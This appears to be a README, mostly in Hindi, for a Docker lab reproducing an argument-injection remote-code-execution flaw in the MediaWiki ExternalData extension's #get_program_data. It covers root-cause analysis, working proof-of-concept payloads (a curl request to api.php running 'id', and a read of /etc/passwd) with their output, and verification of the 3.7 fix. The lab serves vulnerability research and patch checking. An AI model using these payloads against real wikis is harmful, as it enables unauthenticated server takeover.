
Docker लैब जो CVE-2026-100382 को पुनः उत्पन्न करती है: MediaWiki ExternalData के #get_program_data में अनधिकृत argument-injection RCE, PoC payloads और patch verification के साथ।
1.43 (आधिकारिक इमेज, SQLite) + ExternalData 3.6.1 (अंतिम संवेदनशील),
../mediawiki-extensions-ExternalData से read-only माउंट किया गया।127.0.0.1:${HOST_PORT} पर प्रकाशित (डिफ़ॉल्ट 8080)।action=parse सक्षम हैं (MediaWiki डिफ़ॉल्ट) - PoC को किसी लॉगिन की आवश्यकता नहीं है।cd lab
./up.sh # installs, loads ExternalData 3.6.1, seeds vulnerable sources, prints URL
./down.sh # docker compose down -v + wipe .env
entrypoint.sh एक exec स्रोत को सीड करता है जो #get_program_data के प्रलेखित उद्देश्य को
प्रतिबिंबित करता है - संपादकों के लिए एक सर्वर-साइड प्रोग्राम को उजागर करना, कमांड लाइन में
एक उपयोगकर्ता पैरामीटर पास करना - बिना किसी प्रतिबंधात्मक param filters प्रविष्टि के
(एक्सटेंशन को इसकी आवश्यकता नहीं है):
$wgExternalDataSources['chart'] = [
'command' => 'python3 $options$ /srv/chart.py', // user param interpolated
'params' => [ 'options' ],
'format' => 'text',
];
इच्छित उपयोग: {{#get_program_data: program=chart | options=--dpi=120 }}
-> python3 --dpi=120 /srv/chart.py चलाता है।
EDConnectorBase::supplementParams() उपयोगकर्ता पैरामीटर को विकी-व्यापी
command टेम्पलेट में strtr के माध्यम से इंटरपोलेट करता है (EDConnectorBase.php:461-470,560)।EDConnectorExe::__construct() फिर explode(' ', $command) करता है
(EDConnectorExe.php:92) - इंटरपोलेट किया गया उपयोगकर्ता मान रिक्त स्थानों पर
बिना किसी पुनः-कोटिंग के अलग argv टोकन में विभाजित हो जाता है।run() Shell::command($command)->execute() निष्पादित करता है (EDConnectorExe.php:139)।
Shell::command() प्रत्येक टोकन को शेल-एस्केप करता है, इसलिए शेल मेटाकैरेक्टर (;, |)
निष्क्रिय हैं - यह आर्गुमेंट इंजेक्शन (CWE-88 / CWE-78) है, न कि भोली शेल
इंजेक्शन। लक्ष्य प्रोग्राम (यहाँ python3 -c) के अतिरिक्त argv को नियंत्रित करने से
पूर्ण कोड निष्पादन प्राप्त होता है।command प्रदान नहीं कर सकता - अंतर्निहित वाइल्डकार्ड *
स्रोत command => null को बाध्य करता है, जो उपयोगकर्ता-प्रदत्त command को हटा देता है। इसलिए
वेक्टर एडमिन-परिभाषित कमांड में पैरामीटर इंटरपोलेशन है।$ payload: {{#get_program_data: program=greet | name=World; id | data=out=__text }}{{#external_value: out }}
Hello World; id
$ payload: {{#get_program_data: program=greet | name=a b c | data=out=__text }}{{#external_value: out }}
Hello a b c
$ curl -sS http://127.0.0.1:8080/api.php \
--data-urlencode action=parse --data-urlencode format=json \
--data-urlencode contentmodel=wikitext \
--data-urlencode "text={{#get_program_data: program=chart | options=-c __import__('os').system('id') | data=out=__text }}{{#external_value: out }}"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ options=-c print(open('/etc/passwd').read())
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
माउंट किए गए एक्सटेंशन को टैग 3.7 में बदलकर और वही पेलोड पुनः चलाकर:
The class EDConnectorExe is disabled: instead of giving access to a local program,
consider using web access to a containerised application ... To enable it, a wiki
administrator will have to remove this class from the $wgExternalDataDisabledClasses
configuration setting.
3.7 डिफ़ॉल्ट रूप से EDConnectorExe को अक्षम कर देता है ($wgExternalDataDisabledClasses, Bug T434961)।
चेतावनी: सिंक कोड अपरिवर्तित है - एक विकी जो #get_program_data का उपयोग जारी रखने के लिए
उस सूची से EDConnectorExe को हटा देता है, वह पूरी तरह से शोषणीय बना रहता है।